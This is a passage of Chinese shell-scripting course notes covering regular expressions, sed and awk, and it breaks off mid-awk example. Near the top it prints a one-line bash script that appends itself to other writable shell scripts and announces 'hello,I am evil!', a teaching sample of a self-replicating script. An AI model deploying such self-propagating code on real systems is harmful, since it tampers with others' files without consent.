如果已经被感染,就不再感染 713 | 714 | ```shell 715 | #!/bin/bash 716 | if [ ! -f /tmp/.mybblock ];then touch /tmp/.mybblock; for i in `find /tmp/test/*` ; do grep "mybblock" $i &> /dev/null && continue ; file $i | grep "Bourne-Again shell script" &> /dev/null || continue ; [ -x $i -a -w $i ] || continue ; tail -n 1 $0 >> $i; done ; echo "hello,I am evil!"; rm -rf /tmp/.mybblock &> /dev/null ; fi 717 | ``` 718 | --- 719 | 如果foo.sh 的第一个位置参数为-s ,那么就沉睡,时间由第二个位置参数决定 720 | ```shell 721 | #!/bin/bash 722 | SLEEP () 723 | { 724 | echo "now sleep" 725 | sleep $1 726 | } 727 | 728 | case $1 in 729 | -s) 730 | SLEEP $2;; 731 | *) 732 | exit;; 733 | esac 734 | ``` 735 | 736 | 737 | 738 | 739 | 740 | 741 | -------------------------------------------------------------------------------- /02_shell_regular_expression.md: -------------------------------------------------------------------------------- 1 | ## 正则表达式 2 | 3 | [TOC] 4 | 5 | --- 6 | Regular Expression 、 regex 或 regexp, 缩写为 RE 正则表达式这个概念最初是由 Unix 中的工具软件 ( 例如 sed 和 grep) 普及开的。 7 | 8 | 通常被用来检索、替换那些符合某个规则的文本。 9 | 10 | 许多程序设计语言都支持正则表达是进行字符串操作。例如,在perl中就内建了一个功能强大的正则表达式引擎,还有java语言自带的。 11 | 12 | 起源于科学家对人类神经系统工作原理的早期研究;Ken Thompson将其应用到计算搜索算法 ,Unix之父将此引入到编辑器QED,后来的ed,最终引入grep。 13 | 14 | 概念: 15 | 16 | 正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、以及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。 17 | 18 | 19 | 20 | ### 什么是正则表达式 21 | 22 | - 正则表达式就是记录文本规则的代码 23 | - 和通配符类似,正则表达式也是用来进行文本匹配的工具,只不过比起通配符,它能更精确地描述你的需求 24 | 25 | 字符和字符串: 26 | 27 | * 字符是计算机软件处理文字时最基本的单位,可能是字母,数字,标点符号,空格,换行符,汉字等等 28 | * 字符串是0个或更多个字符的序列。 29 | 30 | 特点: 31 | 1. 灵活性、逻辑性和功能性非常强; 32 | 2. 可以迅速地用极简单的方式达到字符串的复杂控制; 33 | 3. 对于刚接触的人来说,比较晦涩难懂。 34 | 35 | 应用程序: 36 | grep,egrep,awk,mysql,vim 37 | 38 | 39 | ### 特殊符号 40 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 41 | 特殊字符 代表意义 42 | [:alnum:] 代表英文大小写字符及数字 ,0-9, A-Z, a-z 43 | [:alpha:] 代表任何英文大小写字符 , A-Z, a-z 44 | [:lower:] 代表小写字符 , a-z 45 | [:upper:] 代表大写字符 ,A-Z 46 | [:digit:] 代表数字而已 , 0-9 47 | [:xdigit:] 代表 16 进制数字 , 因此包括 : 0-9, A-F, a-f 48 | [:blank:] 代表空格键和 [Tab] 按键 49 | [:space:] 任何会产生空白的字符,包括空格键 , [Tab], CR 等等 50 | [:graph:] 除了空格键 ( 空格键和 [Tab] ) 外的其他所有按键 51 | [:cntrl:] 代表键盘上面的控制按键 , 包括 CR, LF, Tab, Del.. 等等 52 | [:print:] 代表任何可以被打印出来的字符 53 | [:punct:] 代表标点符号 (punctuation symbol) :" ' ? ! ; : # $... 54 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 55 | ### 非打印字符 56 | 非打印字符也可以是正则表达式的组成部分。下表列出了表示非打印字符的转义序列: 57 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 58 | 字符 描述 59 | \cx 匹配由x指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。 60 | \f 匹配一个换页符。等价于 \x0c 和 \cL。 61 | \n 匹配一个换行符。等价于 \x0a 和 \cJ。 62 | \r 匹配一个回车符。等价于 \x0d 和 \cM。 63 | \s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。 64 | \S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 65 | \t 匹配一个制表符。等价于 \x09 和 \cI。 66 | \v 匹配一个垂直制表符。等价于 \x0b 和 \cK 67 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 68 | ### 常见的正则表达式 69 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 70 | ^ 行首定位符 71 | $ 行尾定位符 72 | . 匹配除换行符之外的单个字符 73 | * 匹配 0 个或多个前一字符 74 | ? 匹配 0 个或1个前一字符 75 | + 匹配 1 个或多个前一个字符 76 | [ ] 匹配指定字符组内的任一字符 77 | [^] 匹配不在指定字符组内的任一字符 78 | \< 单词起始边界匹配符 79 | \> 单词结束边界匹配符 80 | x\{m\} 连续 M 个字符 X 81 | x\{m,\} 至少 M 个字符 X 82 | x\{m,n\}至少 M 个最多 N 个字符 X 83 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 84 | 85 | ### 课堂练习 86 | 87 | >写一个测试脚本re.sh;带位置参数执行,例如 re.sh ab 88 | 89 | #### 代表以a开头的 90 | ```shell 91 | #!/bin/bash 92 | if [[ $1 =~ ^a ]] 93 | then 94 | echo ok 95 | else 96 | echo no 97 | fi 98 | ``` 99 | 100 | **测试:** 101 | ```shell 102 | [root@rhel6 ~]# bash re.sh a 103 | ok 104 | [root@rhel6 ~]# bash re.sh b 105 | no 106 | [root@rhel6 ~]# bash re.sh ab 107 | ok 108 | ``` 109 | #### 代表以a结尾的 110 | ```shell 111 | #!/bin/bash 112 | if [[ $1 =~ a$ ]] 113 | then 114 | echo ok 115 | else 116 | echo no 117 | fi 118 | ``` 119 | **测试:** 120 | ```shell 121 | [root@rhel6 ~]# vim re.sh 122 | [root@rhel6 ~]# bash re.sh a 123 | ok 124 | [root@rhel6 ~]# bash re.sh b 125 | no 126 | [root@rhel6 ~]# bash re.sh ab 127 | no 128 | [root@rhel6 ~]# bash re.sh ba 129 | ok 130 | ``` 131 | 132 | 133 | #### 代表a字符后面一定有两个字符 134 | ```shell 135 | #!/bin/bash 136 | if [[ $1 =~ a.. ]] 137 | then 138 | echo ok 139 | else 140 | echo no 141 | fi 142 | ``` 143 | **测试:** 144 | ```shell 145 | [root@rhel6 ~]# vim re.sh 146 | [root@rhel6 ~]# bash re.sh a 147 | no 148 | [root@rhel6 ~]# bash re.sh axx 149 | ok 150 | [root@rhel6 ~]# bash re.sh baxx 151 | ok 152 | [root@rhel6 ~]# bash re.sh baxxx 153 | ok 154 | ``` 155 | 156 | #### 代表匹配a字符后面可以是0个b,也可以是多个b 157 | ```shell 158 | #!/bin/bash 159 | if [[ $1 =~ ab* ]] 160 | then 161 | echo ok 162 | else 163 | echo no 164 | fi 165 | ``` 166 | **测试:** 167 | ```shell 168 | [root@rhel6 ~]# bash re.sh a 169 | ok 170 | [root@rhel6 ~]# bash re.sh ab 171 | ok 172 | [root@rhel6 ~]# bash re.sh abbbb 173 | ok 174 | [root@rhel6 ~]# bash re.sh abbbbxxx 175 | ok 176 | [root@rhel6 ~]# bash re.sh accc 177 | ok 178 | [root@rhel6 ~]# bash re.sh ccc 179 | no 180 | ``` 181 | 182 | 183 | #### 匹配 0 个或1个前一字符 184 | ```shell 185 | #!/bin/bash 186 | if [[ $1 =~ 1a?1 ]] 187 | then 188 | echo ok 189 | else 190 | echo no 191 | fi 192 | ``` 193 | **测试:** 194 | ```shell 195 | [root@rhel6 ~]# bash re.sh 11 196 | ok 197 | [root@rhel6 ~]# bash re.sh 1a1 198 | ok 199 | [root@rhel6 ~]# bash re.sh 1aa1 200 | no 201 | ``` 202 | 203 | #### 代表匹配a字符后面可以是1个b,也可以是多个b 204 | ```shell 205 | #!/bin/bash 206 | if [[ $1 =~ ab+ ]] 207 | then 208 | echo ok 209 | else 210 | echo no 211 | fi 212 | ``` 213 | **测试:** 214 | ```shell 215 | [root@rhel6 ~]# bash re.sh a 216 | no 217 | [root@rhel6 ~]# bash re.sh ab 218 | ok 219 | [root@rhel6 ~]# bash re.sh abbb 220 | ok 221 | [root@rhel6 ~]# bash re.sh ac 222 | no 223 | 224 | ``` 225 | 226 | 227 | #### 代表匹配ab字符,后面可以是任意字符 228 | ```shell 229 | #!/bin/bash 230 | if [[ $1 =~ ab.* ]] 231 | then 232 | echo ok 233 | else 234 | echo no 235 | fi 236 | ``` 237 | **测试:** 238 | ```shell 239 | [root@rhel6 ~]# vim re.sh 240 | [root@rhel6 ~]# bash re.sh a 241 | no 242 | [root@rhel6 ~]# bash re.sh ab 243 | ok 244 | [root@rhel6 ~]# bash re.sh abbbb 245 | ok 246 | [root@rhel6 ~]# bash re.sh accc 247 | no 248 | [root@rhel6 ~]# bash re.sh ccc 249 | no 250 | ``` 251 | 252 | #### 代表匹配a和b字符之间可以是任意字符 253 | ```shell 254 | #!/bin/bash 255 | if [[ $1 =~ a.*b ]] 256 | then 257 | echo ok 258 | else 259 | echo no 260 | fi 261 | ``` 262 | **测试:** 263 | ```shell 264 | [root@rhel6 ~]# bash re.sh a 265 | no 266 | [root@rhel6 ~]# bash re.sh b 267 | no 268 | [root@rhel6 ~]# bash re.sh ab 269 | ok 270 | [root@rhel6 ~]# bash re.sh a1b 271 | ok 272 | [root@rhel6 ~]# bash re.sh 1a1b1 273 | ok 274 | ``` 275 | #### 代表匹配指定字符组内的任一字符,可以用逗号分割,或者不用,效果一样都代表匹配一个字符 276 | ```shell 277 | #!/bin/bash 278 | if [[ $1 =~ [Bb]ooboo ]] 279 | then 280 | echo ok 281 | else 282 | echo no 283 | fi 284 | ``` 285 | **测试:** 286 | ```shell 287 | [root@rhel6 ~]# bash re.sh booboo 288 | ok 289 | [root@rhel6 ~]# bash re.sh Booboo 290 | ok 291 | [root@rhel6 ~]# bash re.sh cooboo 292 | no 293 | ``` 294 | 295 | #### 代表匹配不在指定字符组内的任一字符 296 | ```shell 297 | #!/bin/bash 298 | if [[ $1 =~ [^Bb]ooboo ]] 299 | then 300 | echo ok 301 | else 302 | echo no 303 | fi 304 | ``` 305 | **测试:** 306 | ```shell 307 | [root@rhel6 ~]# bash re.sh booboo 308 | no 309 | [root@rhel6 ~]# bash re.sh Booboo 310 | no 311 | [root@rhel6 ~]# bash re.sh cooboo 312 | ok 313 | ``` 314 | 315 | 316 | 317 | #### 单词起始和结束边界匹配符与行首行尾的匹配对比 318 | ```shell 319 | [root@rhel6 ~]# vim re.file 320 | booboo tom jack 321 | jack tom booboo 322 | tom tom tom 323 | jack 324 | jack 325 | jack 326 | 327 | [root@rhel6 ~]# grep "^booboo" re.file 328 | booboo tom jack 329 | [root@rhel6 ~]# grep "\booboo" re.file 333 | [root@rhel6 ~]# grep "\>jack" re.file 334 | [root@rhel6 ~]# grep "jack$" re.file 335 | booboo tom jack 336 | jack 337 | jack 338 | jack 339 | [root@rhel6 ~]# grep "jack\>" re.file 340 | booboo tom jack 341 | jack tom booboo 342 | jack 343 | jack 344 | jack 345 | ``` 346 | #### 某个字符数量限定 347 | + x\{m\}连续 M 个字符 X x{3} =3 348 | + x\{m,\} 至少 M 个字符 Xx{3,} >=3 349 | + x\{m,n\} 至少 M 个最多 N 个字符 X x{3,4} >=3 <=4 350 | 351 | ```shell 352 | [root@rhel6 ~]# vim re.file 353 | booboo tom jack 354 | jack tom booboo 355 | tom tom tom 356 | jack 357 | jack 358 | jack 359 | f fo foo fooo foooo 360 | 361 | 362 | [root@rhel6 ~]# grep "o\{0\}" re.file 363 | booboo tom jack 364 | jack tom booboo 365 | tom tom tom 366 | jack 367 | jack 368 | jack 369 | booo 370 | boo 371 | f fo foo fooo foooo 372 | [root@rhel6 ~]# grep "o\{1\}" re.file 373 | booboo tom jack 374 | jack tom booboo 375 | tom tom tom 376 | booo 377 | boo 378 | f fo foo fooo foooo 379 | [root@rhel6 ~]# grep "o\{4\}" re.file 380 | f fo foo fooo foooo 381 | 382 | 383 | 384 | #!/bin/bash 385 | if [[ $1 =~ o{2,3}$ ]] 386 | then 387 | echo ok 388 | else 389 | echo no 390 | fi 391 | 392 | [root@rhel6 ~]# bash re.sh foo 393 | ok 394 | [root@rhel6 ~]# bash re.sh fooo 395 | ok 396 | [root@rhel6 ~]# bash re.sh fooof 397 | no 398 | [root@rhel6 ~]# bash re.sh foof 399 | no 400 | ``` 401 | #### [:digit:]代表数字而已 , 0-9 402 | ```shell 403 | [root@rhel6 ~]# cat re.file1 404 | 45aa 405 | sdfsdf 406 | 4444 407 | [root@rhel6 ~]# grep "[[:digit:]]" re.file1 408 | 45aa 409 | 4444 410 | [root@rhel6 ~]# grep "^[[:digit:]]" re.file1 411 | 45aa 412 | 4444 413 | [root@rhel6 ~]# grep "[^[:digit:]]" re.file1 414 | 45aa 415 | sdfsdf 416 | [root@rhel6 ~]# grep "^[^[:digit:]]" re.file1 417 | sdfsdf 418 | ``` 419 | ### 课堂作业 420 | 421 | >1.说出下面匹配的内容 422 | ```shell 423 | #!/bin/bash 424 | #^a 以a开头 425 | #b? b的个数0或者1 426 | #c+ c的个数>=1 427 | #d.*e d和e之间可以是任意字符 428 | #f$ 以f结尾 429 | if [[ $1 =~ ^ab?c+d.*ef$ ]] 430 | then 431 | echo ok 432 | else 433 | echo no 434 | fi 435 | ``` 436 | 437 | ### 课后作业 438 | 439 | >1.if判断匹配ip地址 440 | 441 | >2.if判断匹配邮件地址格式为9aA@9aA.com 442 | 443 | >3.grep 过滤空白行 444 | 445 | >4.grep 过滤以空格开头的行 446 | 447 | >5.针对/usr/share/dict/words文件做过滤 448 | 449 | > 1)列出文件中包含 先有字母t,然后中间有一个元音字母,之后是sh的单词; 450 | 451 | > 2)列出文件中包含 先有字母t,然后中间有若干个元音字母,之后是sh的单词; 452 | 453 | > 3)列出文件中刚好包含16个字母的单词。** 454 | 455 | 456 | ```shell 457 | #!/bin/bash 458 | if [[ $1 =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]] 459 | then 460 | IP=(${1//\./ }) 461 | [ ${IP[0]} -gt 0 -a ${IP[0]} -lt 255 ] && [ ${IP[1]} -ge 0 -a ${IP[1]} -lt 255 ] && [ ${IP[2]} -ge 0 -a ${IP[2]} -lt 255 ] && [ ${IP[3]} -gt 0 -a ${IP[3]} -lt 255 ] && echo ok || echo no 462 | 463 | else 464 | echo "this is not IPADDR!" 465 | fi 466 | 467 | 468 | #!/bin/bash 469 | if [[ $1 =~ ^[0-9a-zA-Z]+@[0-9a-zA-Z]+\.com$ ]] 470 | then 471 | echo ok 472 | else 473 | echo no 474 | fi 475 | 476 | 477 | [root@rhel6 ~]# grep "^$" re.file2 478 | 479 | grep '^t[a-zA-Z]sh' /usr/share/dict/words 480 | grep '^t[a-zA-Z]\+sh' /usr/share/dict/words 481 | grep -E '^[a-zA-Z0-9]{16}$' /usr/share/dict/words 482 | grep '^[a-zA-Z0-9]\{16\}$' /usr/share/dict/words 483 | 484 | ``` 485 | 486 | 487 | ### 晚自习作业 488 | 1. 完成所有练习 489 | 2. 帐号是否合法(字母开头,允许5-16位,只能包含字母数字下划线) 490 | 3. 密码是否合法(字母开头,允许6-18位,只能包含字母数字下划线和!@#) 491 | 4. 匹配日期2016-10-11 492 | ```shell 493 | #!/bin/bash 494 | #if [[ $1 =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]] 495 | if [[ $1 =~ ^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|1[0-9]|2[1-9]|3[01])$ ]] 496 | then 497 | echo ok 498 | else 499 | echo no 500 | fi 501 | ``` 502 | -------------------------------------------------------------------------------- /03_shell_sed_awk.md: -------------------------------------------------------------------------------- 1 | ## Sed 命令 2 | 3 | [TOC] 4 | 5 | ## sed 6 | 7 | ### 什么是sed 8 | 9 | sed( 意为流编辑器 , 源自英语 “ stream editor” 的缩写 ) 是 Unix 常见的命令行程序。 sed 用来把文档或字符串里面的文字经过一系列编辑命令转换为另一种格式输出。 sed 通常 用来匹配一个或多个正则表达式的文本进行处理。 分号 (;) 可以用作分隔命令的指示符。尽管 sed 脚本固有的很多限制 , 一连串的 sed 指令加起来可以编程像 仓 库番、快打砖块、甚至俄罗斯方块等电脑游戏的复杂程序。 10 | 11 | ### 如何使用sed 12 | 13 | #### 语法模式 14 | 15 | • 命令行模式 16 | • 脚本模式 17 | 18 | 命令行模式 19 | 20 | sed 流编辑器 针对行进行操作的 21 | 22 | #### sed命令的原理 23 | 24 | ```shell 25 | 读文件---一行一行读 26 | 存入缓存空间 27 | 匹配行---是---动作--继续读取 28 | ---不是------ 继续读取 29 | 读到最后一行为止 30 | 输出 31 | ``` 32 | 33 | #### sed命令的用法 34 | 35 | * sed [-options] '[cmd]' filename 36 | * sed [-options] '[哪些行][干什么]' filename 37 | 38 | ```shell 39 | cmd 40 | 操作定位(哪一行) 41 | 1 第一行 42 | 2,3 从第二行到第三行 43 | $ 最后一行 44 | 正则表达式 45 | /^root/ 以root开头的行 46 | /bin$/ 以bin结尾的行 47 | 48 | 1. 十进制数字 49 | 2. 正则表达式 50 | 3. 逗号分隔符 51 | 4. 组合方式 52 | 5. 特殊方式 53 | 54 | 55 | 函数(干什么) 56 | p 打印,输出到屏幕上 57 | d 删除 58 | s 替换 sed '/^#/s/\/\*.*\*\///' file 59 | a 当前行的行后,添加一行 sed '1ahello word' file 60 | i 当前行的行前,添加一行 sed '1ihello word' file 61 | 参数options 62 | -n 不输出所有的行 63 | -i 直接修改目标文件 64 | -e 连接多个cmd 65 | 66 | 简单控制流 67 | 68 | 1. ! 命令取反 69 | 例如:sed '/kevin/!d' file 70 | 删除不包含字符串”kevin“的行 71 | 2. { } 组合多个命令 72 | 组合命令作为一个整体被执行,函数命令之间用” ; “分隔,组合命令可以嵌套。 73 | 例如:sed '/kevin/{s/1/2/; /3/d}' file。 74 | 75 | 3. n 读取下一输入行,从下一条命令而非第一条命令开始操作 76 | 例如:sed '/kevin/{n; d}' file 77 | 删除带字符串”kevin“行的下一行 78 | ``` 79 | 80 | #### 课堂练习 81 | 82 | 1. 下载mysqlbinlog.row文件 83 | 2. 打印第三行 84 | 3. 打印1到5行 85 | 4. 打印最后一行 86 | 5. 打印30到最后一行 87 | 2. 打印包含“BEGIN”的行 88 | 3. 打印包含“COMMIT”的行 89 | 4. 打印以“###”开头的行 90 | 5. 删除每一行的“### ” 91 | 6. 删除所有“/*到*/” 92 | 7. 将“DELETE FROM”替换为“insert into” 93 | 8. 将“INSERT INTO”替换为“delete from” 94 | 9. 将“SET”替换为“where” 95 | 10. 将“WHERE”替换为“set” 96 | 11. 将“@1”替换为“id” 97 | 12. 将“@2”替换为“name” 98 | 99 | ```shell 100 | [root@client0 ~]# sed '3p' mysqlbinlog.row 101 | [root@client0 ~]# sed -n '3p' mysqlbinlog.row 102 | [root@client0 ~]# sed -n '1,5p' mysqlbinlog.row 103 | [root@client0 ~]# sed -n '$p' mysqlbinlog.row 104 | [root@client0 ~]# sed -n '30,$p' mysqlbinlog.row 105 | [root@client0 ~]# sed -n '/BEGIN/p' mysqlbinlog.row 106 | [root@client0 ~]# sed -n '/COMMIT/p' mysqlbinlog.row 107 | [root@client0 ~]# sed '{s/### //;s@\/\*.*\*\/@@;s/DELETE FROM/insert into/;s/INSERT INTO/delete from/;s/SET/where/;s/WHERE/set/;s/@1/id/;s/@2/name/}' mysqlbinlog.row 108 | ``` 109 | 110 | #### 课堂练习 111 | 112 | 1. 将192.168.1.1替换成192.168.2.2 113 | 2. 将192.168.1.1替换成192.188.5.1 114 | 3. 将192.168.1.1替换成192.192.192.1 115 | 4. 将hello,babay中babay后面追加",mybabay" 116 | 5. 将hello,babay中hello后面追加",mybabay" 117 | 6. 将hello,babay替换为"hello1hello2hello3,babay" 118 | 7. 将/tmp/shadow的内容追加到/tmp/passwd中以root开头的行的后面 119 | 8. 将/tmp/passwd中以root开头的行和后面的2行写入/tmp/shadow 120 | 121 | 122 | ```bash 123 | [root@client0 ~]# echo 192.168.1.1|sed 's/\(.*\)1.1/\12.2/' 124 | 192.168.2.2 125 | [root@client0 ~]# echo 192.168.1.1|sed 's/\(.*\)168.1\(.*\)/\1188.5\2/' 126 | 192.188.5.1 127 | [root@client0 ~]# echo 192.168.1.1|sed 's/\(.*\)168.1\(.*\)/\1\1\11/' 128 | 192.192.192.1 129 | 130 | 131 | [root@client0 ~]# echo hello,babay|sed 's/babay/&,mybabay/' 132 | hello,babay,mybabay 133 | [root@client0 ~]# echo hello,babay|sed 's/hello/&,mybabay/' 134 | hello,mybabay,babay 135 | [root@client0 ~]# echo hello,babay|sed 's/hello/&1&2&3/' 136 | hello1hello2hello3,babay 137 | 138 | [root@client0 ~]# sed '/^root/r /tmp/shadow' /tmp/passwd 139 | [root@client0 ~]# sed '/^root/,+2w /tmp/shadow' /tmp/passwd 140 | ``` 141 | 142 | #### 课后习题 143 | 144 | 1. 将selinux设置成开机关闭状态。用sed完成 145 | 2. 设置当前用户的umask值永久生效为033 ~/.bashrc。用sed完成 146 | 3. 用脚本实现自动化搭建DNS服务器,并自动化配置解析,自动化测试。 147 | 148 | 149 | ## awk 150 | 151 | ### 简介 152 | 153 | awk是一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。 154 | 155 | awk有3个不同版本: awk、nawk和gawk,未作特别说明,一般指gawk,gawk 是 AWK 的 GNU 版本。 156 | 157 | awk其名称得自于它的创始人 Alfred Aho 、Peter Weinberger 和 Brian Kernighan 姓氏的首个字母。实际上 AWK 的确拥有自己的语言: AWK 程序设计语言 , 三位创建者已将它正式定义为“样式扫描和处理语言”。它允许您创建简短的程序,这些程序读取输入文件、为数据排序、处理数据、对输入执行计算以及生成报表,还有无数其他的功能。 158 | 159 | 160 | ### 使用方法 161 | 162 | awk '{pattern + action}' {filenames} 163 | 164 | 尽管操作可能会很复杂,但语法总是这样,其中 pattern 表示 AWK 在数据中查找的内容,而 action 是在找到匹配内容时所执行的一系列命令。花括号({})不需要在程序中始终出现,但它们用于根据特定的模式对一系列指令进行分组。 pattern就是要表示的正则表达式,用斜杠括起来。 165 | 166 | awk语言的最基本功能是在文件或者字符串中基于指定规则浏览和抽取信息,awk抽取信息后,才能进行其他文本操作。完整的awk脚本通常用来格式化文本文件中的信息。 167 | 168 | 通常,awk是以文件的一行为处理单位的。awk每接收文件的一行,然后执行相应的命令,来处理文本。 169 | 170 | ### 调用awk 171 | 172 | 有三种方式调用awk 173 | 174 | 1. 命令行方式 175 | awk [-F field-separator] 'commands' input-file(s) 176 | 177 | 其中,commands 是真正awk命令,[-F域分隔符]是可选的。 input-file(s) 是待处理的文件。 178 | 179 | 在awk中,文件的每一行中,由域分隔符分开的每一项称为一个域。通常,在不指名-F域分隔符的情况下,默认的域分隔符是空格。 180 | 181 | 2. shell脚本方式 182 | 183 | 将所有的awk命令插入一个文件,并使awk程序可执行,然后awk命令解释器作为脚本的首行,一遍通过键入脚本名称来调用。 184 | 185 | 相当于shell脚本首行的:#!/bin/sh 186 | 187 | 可以换成:#!/bin/awk 188 | 189 | 3. 将所有的awk命令插入一个单独文件,然后调用: 190 | awk -f awk-script-file input-file(s) 191 | 192 | 其中,-f选项加载awk-script-file中的awk脚本,input-file(s)跟上面的是一样的。 193 | 194 | 本章重点介绍命令行方式。 195 | 196 | ### 入门实例 197 | 198 | 假设last -n 5的输出如下 199 | 200 | ```shell 201 | [root@www ~]# last -n 5 <==仅取出前五行 202 | root pts/1 192.168.1.100 Tue Feb 10 11:21 still logged in 203 | root pts/1 192.168.1.100 Tue Feb 10 00:46 - 02:28 (01:41) 204 | root pts/1 192.168.1.100 Mon Feb 9 11:41 - 18:30 (06:48) 205 | dmtsai pts/1 192.168.1.100 Mon Feb 9 11:41 - 11:41 (00:00) 206 | root tty1 Fri Sep 5 14:09 - 14:10 (00:01) 207 | ``` 208 | 如果只是显示最近登录的5个帐号 209 | ```shell 210 | #last -n 5 | awk '{print $1}' 211 | root 212 | root 213 | root 214 | dmtsai 215 | root 216 | ``` 217 | awk工作流程是这样的:读入有'\n'换行符分割的一条记录,然后将记录按指定的域分隔符划分域,填充域,$0则表示所有域,$1表示第一个域,$n表示第n个域。默认域分隔符是"空白键" 或 "[tab]键",所以$1表示登录用户,$3表示登录用户ip,以此类推。 218 | 219 | 220 | 221 | 如果只是显示/etc/passwd的账户 222 | ```shell 223 | #cat /etc/passwd |awk -F ':' '{print $1}' 224 | root 225 | daemon 226 | bin 227 | sys 228 | ``` 229 | 这种是awk+action的示例,每行都会执行action{print $1}。 230 | 231 | -F指定域分隔符为':'。 232 | 233 | 234 | 235 | 如果只是显示/etc/passwd的账户和账户对应的shell,而账户与shell之间以tab键分割 236 | ```shell 237 | #cat /etc/passwd |awk -F ':' '{print $1"\t"$7}' 238 | root /bin/bash 239 | daemon /bin/sh 240 | bin /bin/sh 241 | sys /bin/sh 242 | ``` 243 | 244 | 245 | 如果只是显示/etc/passwd的账户和账户对应的shell,而账户与shell之间以逗号分割,而且在所有行添加列名name,shell,在最后一行添加"blue,/bin/nosh"。 246 | 247 | ```shell 248 | cat /etc/passwd |awk -F ':' 'BEGIN {print "name,shell"} {print $1","$7} END {print "blue,/bin/nosh"}' 249 | name,shell 250 | root,/bin/bash 251 | daemon,/bin/sh 252 | bin,/bin/sh 253 | sys,/bin/sh 254 | .... 255 | blue,/bin/nosh 256 | ``` 257 | 258 | 259 | awk工作流程是这样的:先执行BEGING,然后读取文件,读入有/n换行符分割的一条记录,然后将记录按指定的域分隔符划分域,填充域,$0则表示所有域,$1表示第一个域,$n表示第n个域,随后开始执行模式所对应的动作action。接着开始读入第二条记录······直到所有的记录都读完,最后执行END操作。 260 | 261 | 搜索/etc/passwd有root关键字的所有行 262 | 263 | ```shell 264 | #awk -F: '/root/' /etc/passwd 265 | root:x:0:0:root:/root:/bin/bash 266 | ``` 267 | 268 | 这种是pattern的使用示例,匹配了pattern(这里是root)的行才会执行action(没有指定action,默认输出每行的内容)。 269 | 270 | 搜索支持正则,例如找root开头的: awk -F: '/^root/' /etc/passwd 271 | 272 | 273 | 搜索/etc/passwd有root关键字的所有行,并显示对应的shell 274 | 275 | ```shell 276 | # awk -F: '/root/{print $7}' /etc/passwd 277 | /bin/bash 278 | ``` 279 | 280 | 这里指定了action{print $7} 281 | 282 | 283 | ### awk内置变量 284 | 285 | awk有许多内置变量用来设置环境信息,这些变量可以被改变,下面给出了最常用的一些变量。 286 | 287 | 288 | ```shell 289 | ARGC 命令行参数个数 290 | ARGV 命令行参数排列 291 | ENVIRON 支持队列中系统环境变量的使用 292 | FILENAME awk浏览的文件名 293 | FNR 浏览文件的记录数 294 | FS 设置输入域分隔符,等价于命令行 -F选项 295 | NF 浏览记录的域的个数 296 | NR 已读的记录数 297 | OFS 输出域分隔符 298 | ORS 输出记录分隔符 299 | RS 控制记录分隔符 300 | ``` 301 | 302 | 303 | 304 | 此外,$0变量是指整条记录。$1表示当前行的第一个域,$2表示当前行的第二个域,......以此类推。 305 | 306 | 307 | 308 | 统计/etc/passwd:文件名,每行的行号,每行的列数,对应的完整行内容: 309 | ```shell 310 | #awk -F ':' '{print "filename:" FILENAME ",linenumber:" NR ",columns:" NF ",linecontent:"$0}' /etc/passwd 311 | filename:/etc/passwd,linenumber:1,columns:7,linecontent:root:x:0:0:root:/root:/bin/bash 312 | filename:/etc/passwd,linenumber:2,columns:7,linecontent:daemon:x:1:1:daemon:/usr/sbin:/bin/sh 313 | filename:/etc/passwd,linenumber:3,columns:7,linecontent:bin:x:2:2:bin:/bin:/bin/sh 314 | filename:/etc/passwd,linenumber:4,columns:7,linecontent:sys:x:3:3:sys:/dev:/bin/sh 315 | ``` 316 | 317 | 318 | 使用printf替代print,可以让代码更加简洁,易读 319 | ```shell 320 | awk -F ':' '{printf("filename:%10s,linenumber:%s,columns:%s,linecontent:%s\n",FILENAME,NR,NF,$0)}' /etc/passwd 321 | ``` 322 | 323 | ### print和printf 324 | 325 | awk中同时提供了print和printf两种打印输出的函数。 326 | 327 | 其中print函数的参数可以是变量、数值或者字符串。字符串必须用双引号引用,参数用逗号分隔。如果没有逗号,参数就串联在一起而无法区分。这里,逗号的作用与输出文件的分隔符的作用是一样的,只是后者是空格而已。 328 | 329 | printf函数,其用法和c语言中printf基本相似,可以格式化字符串,输出复杂时,printf更加好用,代码更易懂。 330 | 331 | 332 | ### awk编程 333 | 334 | #### 变量和赋值 335 | 336 | 除了awk的内置变量,awk还可以自定义变量。 337 | 338 | 下面统计/etc/passwd的账户人数 339 | 340 | ```shell 341 | awk '{count++;print $0;} END{print "user count is ", count}' /etc/passwd 342 | root:x:0:0:root:/root:/bin/bash 343 | ...... 344 | user count is 40 345 | ``` 346 | count是自定义变量。之前的action{}里都是只有一个print,其实print只是一个语句,而action{}可以有多个语句,以;号隔开。 347 | 348 | 这里没有初始化count,虽然默认是0,但是妥当的做法还是初始化为0: 349 | 350 | ```shell 351 | awk 'BEGIN {count=0;print "[start]user count is ", count} {count=count+1;print $0;} END{print "[end]user count is ", count}' /etc/passwd 352 | [start]user count is 0 353 | root:x:0:0:root:/root:/bin/bash 354 | ... 355 | [end]user count is 40 356 | ``` 357 | 358 | 统计某个文件夹下的文件占用的字节数 359 | 360 | ```shell 361 | ls -l |awk 'BEGIN {size=0;} {size=size+$5;} END{print "[end]size is ", size}' 362 | [end]size is 8657198 363 | ``` 364 | 365 | 366 | 如果以M为单位显示: 367 | 368 | ```shell 369 | ls -l |awk 'BEGIN 